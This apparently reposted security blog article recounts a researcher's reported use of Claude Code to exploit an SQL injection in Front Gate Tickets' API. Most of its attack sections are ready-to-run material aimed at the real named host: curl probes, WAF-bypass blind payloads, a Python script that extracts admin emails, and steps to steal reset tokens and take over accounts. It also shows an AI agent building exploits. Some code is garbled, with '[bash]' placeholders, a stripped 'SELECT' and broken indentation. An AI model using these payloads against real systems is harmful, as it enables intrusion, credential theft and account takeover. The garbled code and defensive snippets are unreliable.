AI-Powered SQL Injection: How Claude Code Bypassed AWS WAF To Hijack Ticketmaster’s Front Gate Tickets Platform + Video

Introduction

In a striking demonstration of AI-assisted offensive security, security researcher Ian Carroll leveraged Anthropic’s Claude AI model to uncover and exploit a critical unauthenticated SQL injection vulnerability within Front Gate Tickets (FGT)—a Live Nation/Ticketmaster subsidiary responsible for ticketing at major US festivals including EDC, Bonnaroo, and Outside Lands. What makes this case particularly noteworthy is not just the severity of the flaw—which granted full administrative takeover of the platform—but the innovative methodology employed: conventional SQL injection tools failed against the AWS Web Application Firewall (WAF), yet Claude Code running the Opus model successfully reverse-engineered the WAF’s detection logic and crafted a blind boolean-based payload that slipped through undetected. This incident serves as a watershed moment, illustrating how large language models are rapidly accelerating both vulnerability research and exploitation techniques, while simultaneously exposing the fragility of legacy ticketing infrastructure that handles millions of sensitive customer records.

Learning Objectives

Understand the technical mechanics of the unauthenticated SQL injection vulnerability discovered in Front Gate Tickets’ API endpoint
Learn how Claude AI bypassed AWS WAF protections by exploiting the firewall’s superficial input inspection layer
Master boolean-based blind SQL injection techniques using MySQL type coercion quirks
Identify critical security gaps in legacy ticketing systems, including missing security contacts and inadequate access controls
Implement practical defensive measures including WAF rule tuning, parameterized queries, and privileged access management

You Should Know

The DeviceUID Vulnerability: Unauthenticated SQL Injection in API Middleware

The journey began when Carroll, while fuzzing the `fgtapi.frontgatetickets.com` API using the `ffuf` tool, discovered that any endpoint path containing the word “device” triggered a distinct error response requiring a `deviceUID` parameter. This indicated the presence of unauthenticated middleware tied to on-site scanner and box-office hardware—a classic attack surface often overlooked in legacy systems. Testing revealed that a `deviceUID` value of `12345` succeeded, but appending a single quote (') caused the request to hang, confirming that the parameter was being concatenated directly into a raw SQL query without any sanitization.

Understanding the Injection Point:

The vulnerable endpoint essentially processed requests as follows:

SELECT  FROM device_table WHERE deviceUID = '[bash]'

When the input `12345’` was supplied, the resulting query became:

SELECT  FROM device_table WHERE deviceUID = '12345''

The trailing single quote broke the SQL syntax, causing the database to hang—a clear indicator of injection susceptibility.

Step-by-Step Reconnaissance:

Fuzz for vulnerable endpoints: Use `ffuf` to identify API paths that return unusual errors:
```
ffuf -u https://fgtapi.frontgatetickets.com/FUZZ -w /path/to/wordlist -fc 404
```
Test for SQL injection: Append a single quote to parameter values and observe response behavior:
```
curl "https://fgtapi.frontgatetickets.com/api/device?deviceUID=12345'"
```
Identify the database backend: Use database-specific concatenation or comment syntax to fingerprint the DBMS:
```
-- MySQL: ' OR '1'='1' --
-- PostgreSQL: ' OR '1'='1'::text --
-- Oracle: ' OR '1'='1' --
```
Confirm boolean-based blind injection: Craft payloads that produce different responses based on true/false conditions.

For Windows administrators, PowerShell can be used for initial testing:

Invoke-WebRequest -Uri "https://fgtapi.frontgatetickets.com/api/device?deviceUID=12345'" -UseBasicParsing

Bypassing AWS WAF with Claude’s Subquery Nesting Technique

The AWS WAF initially blocked all conventional SQL injection attempts, including those from sqlmap—the industry-standard automated exploitation tool. The researcher then turned to Claude Code running the Opus model, which analyzed the WAF’s behavior and discovered a critical flaw: the WAF only inspected the outer layer of input, meaning injection payloads nested inside a derived subquery slipped through undetected.

How the WAF Bypass Worked:

The WAF’s regular expression engine scanned for obvious SQL keywords like SELECT, UNION, OR, and `–` at the top level of the input string. However, when these keywords were embedded within a subquery structure, the WAF failed to recursively inspect the nested content. Claude engineered a payload that placed the malicious SQL within a derived table, effectively hiding it from the WAF’s superficial scan.

Step-by-Step WAF Bypass Construction:

Identify the WAF’s inspection depth: Test simple injection payloads and observe which are blocked versus which pass through.
Nest the payload inside a subquery: Structure the injection so that the malicious code resides within a derived table:
```
deviceUID = x'+(SELECT CASE WHEN [bash] THEN 1 ELSE 0 END)--
```
Leverage MySQL type coercion: As discovered by Claude, MySQL has a quirk where adding a string like `’x’` to a number coerces the string to zero. This allows the injection to be evaluated as a numeric expression without breaking the query syntax.
Create a boolean oracle: The response toggled between two real device names—”MC70-023″ for true conditions and “Intellitix Upload” for false conditions—creating a reliable oracle for extracting data one bit at a time.

Example Payload Structure:

deviceUID = x'+(SELECT CASE WHEN (SELECT COUNT() FROM fgs_user WHERE email LIKE 'admin%') > 0 THEN 1 ELSE 0 END)--

When the condition is true, the expression evaluates to x'+1, which MySQL interprets as `1` (since `’x’` coerces to 0). When false, it evaluates to x'+0, which is 0. The application then queries the device table with these numeric values, returning different device names.

Testing the Bypass with cURL:

 True condition payload
curl "https://fgtapi.frontgatetickets.com/api/device?deviceUID=x'+(SELECT CASE WHEN 1=1 THEN 1 ELSE 0 END)--"

False condition payload
curl "https://fgtapi.frontgatetickets.com/api/device?deviceUID=x'+(SELECT CASE WHEN 1=2 THEN 1 ELSE 0 END)--"

3. Data Exfiltration: 500 Tables of Sensitive Information

The underlying `fgs` database contained more than 500 tables, including staff credentials, customer records, and live authentication tokens. Claude’s boolean-based blind injection technique enabled the researcher to systematically extract data one character at a time, using the device name oracle to confirm each bit.

Critical Tables and Exposed Fields:

| Table | Sensitive Fields Exposed |

|-|–|

| FGS_USER | Email, passcode, passcode2, permissions JSON |

| PERSON | Email, passcode, reset token |

| RESET_TOKEN / API_TOKEN | Live, redeemable session and OAuth tokens |

Step-by-Step Data Extraction Process:

1. Determine the database name:

deviceUID = x'+(SELECT CASE WHEN database() LIKE 'fgs%' THEN 1 ELSE 0 END)--

2. Enumerate table names:

deviceUID = x'+(SELECT CASE WHEN (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1 OFFSET 0) LIKE 'fgs_user%' THEN 1 ELSE 0 END)--

3. Extract column data character by character:

deviceUID = x'+(SELECT CASE WHEN (SELECT SUBSTRING(email,1,1) FROM fgs_user LIMIT 1) = 'a' THEN 1 ELSE 0 END)--

Automate the extraction: Use a script to iterate through positions and character sets, recording the oracle’s response each time.

Python Script for Boolean-Based Blind SQL Injection:

import requests
import string

url = "https://fgtapi.frontgatetickets.com/api/device"
charset = string.ascii_lowercase + string.digits + "@._-"

def extract_data(query, length):
result = ""
for pos in range(1, length + 1):
for char in charset:
payload = f"x'+(SELECT CASE WHEN (SELECT SUBSTRING(({query}),{pos},1)) = '{char}' THEN 1 ELSE 0 END)--"
response = requests.get(url, params={"deviceUID": payload})
if "MC70-023" in response.text:  True condition
result += char
print(f"Found: {result}")
break
return result

Extract admin email
admin_email = extract_data("SELECT email FROM fgs_user WHERE permissions LIKE '%admin%' LIMIT 1", 50)
print(f"Admin Email: {admin_email}")

4. Account Hijacking via Reset Token Exploitation

The most devastating aspect of this vulnerability was the ability to hijack administrator accounts without ever knowing their passwords. By reading a live entry from the `RESET_TOKEN` table after triggering a password reset, Carroll successfully hijacked an administrator account, gaining full write access to every festival on the platform—including inventory, pricing, and checkout systems.

Step-by-Step Account Takeover:

Trigger a password reset for a target administrator account using the application’s legitimate “forgot password” functionality.

Extract the reset token from the `RESET_TOKEN` table using the blind SQL injection:

deviceUID = x'+(SELECT CASE WHEN (SELECT reset_token FROM reset_token WHERE user_id = [bash]) LIKE 'prefix%' THEN 1 ELSE 0 END)--

Use the token to complete the password reset process, setting a new password for the administrator account.
Log in as the administrator and perform any action, including issuing unlimited free “comp” tickets, searching customer order databases, and reading or redeeming password reset tokens for other users.

API Endpoint Testing for Account Takeover:

 Initiate password reset
curl -X POST "https://fgtapi.frontgatetickets.com/api/reset" \
-d "[email protected]"

Extract reset token via injection (automated)
 Use the blind injection technique to read the token value

Complete reset with extracted token
curl -X POST "https://fgtapi.frontgatetickets.com/api/reset/complete" \
-d "token=EXTRACTED_TOKEN&new_password=Hacked123!"

5. Defensive Measures: Securing Legacy Ticketing Infrastructure

This incident exposes critical vulnerabilities in legacy ticketing systems that handle both consumer sales and physical box-office operations. Organizations must implement comprehensive security measures to prevent similar compromises.

Immediate Remediation Steps:

Parameterized Queries: Replace all string concatenation in SQL queries with parameterized statements or prepared statements. In Java:
```
PreparedStatement stmt = connection.prepareStatement(
"SELECT  FROM device WHERE deviceUID = ?"
);
stmt.setString(1, deviceUID);
```

WAF Rule Tuning: Configure AWS WAF to recursively inspect nested payloads:

{
"Name": "SQLInspectionDepth",
"Statement": {
"ByteMatchStatement": {
"SearchString": "SELECT",
"FieldToMatch": { "Body": {} },
"TextTransformations": [
{ "Priority": 0, "Type": "NONE" }
],
"PositionalConstraint": "CONTAINS"
}
},
"Action": { "Block": {} }
}

Input Validation Whitelisting: Implement strict whitelisting for the `deviceUID` parameter, allowing only alphanumeric characters and specific formats.
Principle of Least Privilege: Database accounts used by application middleware should have minimal permissions—read-only access where possible, and never INSERT, UPDATE, or `DELETE` on critical tables.
Security Contact and Bug Bounty: Establish a publicly listed security contact and bug bounty program to encourage responsible disclosure.

Linux Command for Log Analysis:

 Analyze WAF logs for suspicious patterns
grep -E "deviceUID.SELECT|deviceUID.UNION|deviceUID.--" /var/log/aws/waf.log | awk '{print $1, $7, $NF}' | sort | uniq -c | sort -1r

Windows PowerShell for Event Log Monitoring:

Get-WinEvent -LogName "Security" | Where-Object { $_.Message -match "deviceUID" } | Select-Object TimeCreated, Message

6. AI-Assisted Security Research: The New Frontier

This case underscores a growing trend of AI-assisted vulnerability research, where large language models like Claude can autonomously reverse-engineer WAF logic and construct multi-stage blind injection exploits with minimal human guidance. Anthropic’s own disclosures have shown AI agents exploiting SQL injection flaws without explicit hacking instructions.

Implications for Security Teams:

Red Team Operations: AI models can accelerate penetration testing by generating custom payloads tailored to specific WAF configurations.
Defensive AI: Organizations must deploy AI-powered WAF solutions that can detect and block AI-generated attacks.
Training and Awareness: Security teams must understand AI-assisted attack vectors to defend against them effectively.

Sample AI Prompt for Security Testing:

"You are a security researcher. Given a web application with a suspected SQL injection vulnerability behind a WAF, generate a series of payloads that attempt to bypass the WAF by nesting SQL keywords inside subqueries. Provide the payloads in order of increasing complexity."

7. Cloud Hardening and API Security Best Practices

The Front Gate Tickets vulnerability highlights the importance of robust API security in cloud environments. Organizations should implement the following measures:

API Gateway Security:

Rate Limiting: Prevent brute-force and fuzzing attacks:

rate_limit:
default: 100 requests per minute
paths:
/api/device: 10 requests per minute

Request Validation: Use JSON Schema validation to enforce data types and formats:

{
"type": "object",
"properties": {
"deviceUID": { "type": "string", "pattern": "^[a-zA-Z0-9-]+$" }
},
"required": ["deviceUID"]
}

Authentication and Authorization: Implement OAuth 2.0 or API keys for all endpoints, even those intended for internal use.

AWS-Specific Hardening:

WAF Custom Rules: Create custom rules to block requests containing SQL keywords in nested structures:

{
"Name": "BlockNestedSQL",
"Priority": 10,
"Statement": {
"RegexPatternSetReferenceStatement": {
"ARN": "arn:aws:wafv2:...:regexpatternset/NestedSQLPatterns",
"FieldToMatch": { "Body": {} },
"TextTransformations": [{ "Priority": 0, "Type": "NONE" }]
}
},
"Action": { "Block": {} }
}

VPC Endpoints: Restrict API access to internal networks where possible, reducing the attack surface.

What Undercode Say

AI is a Double-Edged Sword: While Claude AI enabled the discovery and exploitation of this vulnerability, the same technology can be used defensively to identify and patch flaws before malicious actors exploit them. Organizations must embrace AI for both offensive and defensive security.
Legacy Infrastructure is a Prime Target: The ticketing industry relies on aging systems that were not designed with modern security threats in mind. The presence of unauthenticated API endpoints and raw SQL concatenation in 2024 is inexcusable and demands immediate modernization.
WAF is Not a Silver Bullet: The AWS WAF failed to detect nested injection payloads, proving that WAFs are only one layer of defense. Organizations must implement defense-in-depth strategies including input validation, parameterized queries, and continuous monitoring.
Responsible Disclosure Matters: Carroll stopped short of exfiltrating bulk data, demonstrating ethical hacking practices. However, the absence of a public security contact forced the researcher to guess a disclosure email—a failure that could have delayed the fix.
The Future of Offensive Security: AI-assisted vulnerability research is here to stay. Security teams must adapt by incorporating AI into their workflows, both to automate testing and to understand how adversaries will leverage these tools.

Prediction

+1 AI-assisted penetration testing will become a standard practice in the next 12-18 months, with commercial tools integrating LLM capabilities to autonomously discover and exploit vulnerabilities, reducing the time to identify critical flaws from weeks to hours.
-1 The democratization of AI-powered hacking tools will lower the barrier to entry for malicious actors, leading to a surge in automated attacks against legacy systems that lack modern security controls.
+1 Organizations will accelerate the modernization of legacy infrastructure, prioritizing API security, WAF enhancements, and bug bounty programs in response to high-profile incidents like this one.
-1 The ticketing and events industry, which handles vast amounts of personal and financial data, will remain a prime target for cybercriminals, with similar vulnerabilities likely present in other subsidiaries and third-party vendors.
+1 Regulatory bodies may introduce mandatory security requirements for ticketing platforms, including mandatory security contacts, regular penetration testing, and incident disclosure timelines, improving overall industry security posture.

▶️ Related Video (76% Match):

https://www.youtube.com/watch?v=0cIwEVz4SH8

🎯Let’s Practice For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

IT/Security Reporter URL:

Reported By: Cybersecuritynews Share – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky

Listen to this Post